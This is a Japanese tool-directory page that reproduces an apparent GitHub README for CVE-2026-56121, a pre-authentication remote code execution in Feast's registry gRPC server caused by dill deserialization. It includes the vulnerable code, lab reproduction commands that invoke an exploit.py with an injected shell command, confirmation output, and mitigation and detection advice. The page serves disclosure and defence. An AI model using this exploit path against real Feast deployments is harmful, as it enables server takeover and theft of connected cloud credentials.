Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-56121-Feast-Unauth-RCE — CVE-2026-56121 — Feast <0.63.0 の未認証RCE(gRPCレジストリのOnDemandFeatureView UDFのdill.loads経由、(pre-auth))。Lab + PoC、エンドツーエンド確認済み。 | Kitploit
ツール/GitHubGitHub/biitts/cve-2026-56121-feast-unauth-rce
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用マルウェア分析ペネトレーションテスト学習と教育ペイロード開発ラボと実践
GitHubbiitts/cve-2026-56121-feast-unauth-rce

CVE-2026-56121-Feast-Unauth-RCE

CVE-2026-56121 — Feast <0.63.0 の未認証RCE(gRPCレジストリのOnDemandFeatureView UDFのdill.loads経由、(pre-auth))。Lab + PoC、エンドツーエンド確認済み。

リポジトリを見る
42ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-56121 — Feast の gRPC レジストリのデシリアライゼーションによる認証不要のリモートコード実行

Feast < 0.63.0 のレジストリ gRPC サーバーは、OnDemandFeatureView のユーザー定義関数を、仕様が到着するとすぐに(認証チェックの前に)dill.loads() します。出荷時の設定は auth: no_auth であり、レジストリポート(デフォルト 6570)に到達可能なクライアントは、悪意のある pickle を仕込んだ ApplyFeatureView 要求を1つ送信するだけで、認証不要のリモートコード実行を実行できます。

CVECVE-2026-56121
影響を受けるバージョンFeast < 0.63.0
修正バージョン0.63.0
クラスCWE-502 (信頼できないデータのデシリアライゼーション) → RCE
CVSS9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
認証なし (auth: no_auth がデフォルト。デシリアライゼーションは認可前に発生)
攻撃面registry gRPC RegistryServer.ApplyFeatureView (デフォルトポート 6570)
状態確認済み — feast==0.62.0 に対してエンドツーエンドで再現済み

根本原因

sdk/python/feast/registry_server.py:

root@kitploit:~
def ApplyFeatureView(self, request, context):
    feature_view_type = request.WhichOneof("base_feature_view")
    ...
    elif feature_view_type == "on_demand_feature_view":
        feature_view = OnDemandFeatureView.from_proto(request.on_demand_feature_view)  # (1) deserialize
        ...
    assert_permissions_to_update(resource=feature_view, ...)                            # (2) authorize
    self.proxied_registry.apply_feature_view(...)

from_proto (1) は権限チェック (2) の前に呼び出されます。これは変換を解析し、UDF のボディを dill.loads() します — sdk/python/feast/transformation/pandas_transformation.py(および python_transformation.py):

root@kitploit:~
@classmethod
def from_proto(cls, user_defined_function_proto):
    return cls(
        udf=dill.loads(user_defined_function_proto.body),   # <-- 攻撃者制御の pickle
        udf_string=user_defined_function_proto.body_text,
    )

dill は pickle のスーパーセットであり、攻撃者バイト列に対する dill.loads() は pickle の __reduce__ 機構を呼び出し → 任意のコード実行につながります。assert_permissions_to_update の前に実行されること、そしてデフォルトの auth: no_auth によりそのチェックがそもそも無効化されるため、この RCE は認証不要です。

再現手順

root@kitploit:~
# 1. Start a vulnerable registry server (feast 0.62.0, gRPC :6570, default no_auth)
docker compose -f lab/docker-compose.yml up --build -d

# 2. Fire the PoC (no credentials)
pip install "feast==0.62.0" grpcio
python3 exploit.py 127.0.0.1:6570 -c "id; hostname"

# 3. Command output appears on the registry host
docker compose -f lab/docker-compose.yml exec feast cat /tmp/feast_pwned
#   uid=...(...)  <hostname>

確認結果:

root@kitploit:~
[*] sending ApplyFeatureView with a 124-byte malicious pickle in user_defined_function.body
[*] RPC status: UNKNOWN - Exception calling application: 0 is not a module, class, method, or function.
[+] dill.loads executed the payload server-side during from_proto.

RPC は最終的にエラーになります(アンピックルされたオブジェクトは呼び出し可能な UDF ではなくなります)が、コマンドは dill.loads() の実行中に既に実行されています — cat /tmp/feast_pwned は生の id/uname 出力を返し、エコーではなく実際に実行されたことを証明します。

影響

Feast レジストリ gRPC ポートに到達可能な者は誰でも、レジストリサービスアカウントとして任意の OS コマンドを実行できます。これにより、フィーチャーストア、オフライン/オンラインストア、レジストリ、およびそれらに接続されたクラウド認証情報が完全に侵害されます。Feast レジストリは、SDK クライアントが呼び出すために、ML プラットフォーム内部で頻繁に公開されています。

対策

  • Feast ≥ 0.63.0 にアップグレードしてください。これにより skip_udf パスが追加され、レジストリサーバーが受信仕様の UDF ボディをデシリアライズしなくなります。
  • 多層防御として、auth(oidc/kubernetes)を有効にし、レジストリポートを信頼できないネットワークに公開しないでください。ただし、< 0.63.0 では、認証だけでは十分ではありません。なぜなら、デシリアライゼーションが認可チェックの前に発生するからです。

検出

信頼できないクライアントから送信された OnDemandFeatureView の user_defined_function.body を含む ApplyFeatureView / ApplyMaterialization RPC や、レジストリプロセスがシェルを起動した場合にアラートを発してください。

プロトパス、認可前デシリアライゼーションの順序、およびパッチについては ANALYSIS.md を参照してください。


  • 著者: Caio Fabrício — github.com/BiiTts
  • 脆弱性クレジットは元の報告者 / ベンダー勧告に帰属します。このリポジトリは防御および教育目的のための独立した再現です。許可されたセキュリティテストのみに使用してください。
ツールをダウンロード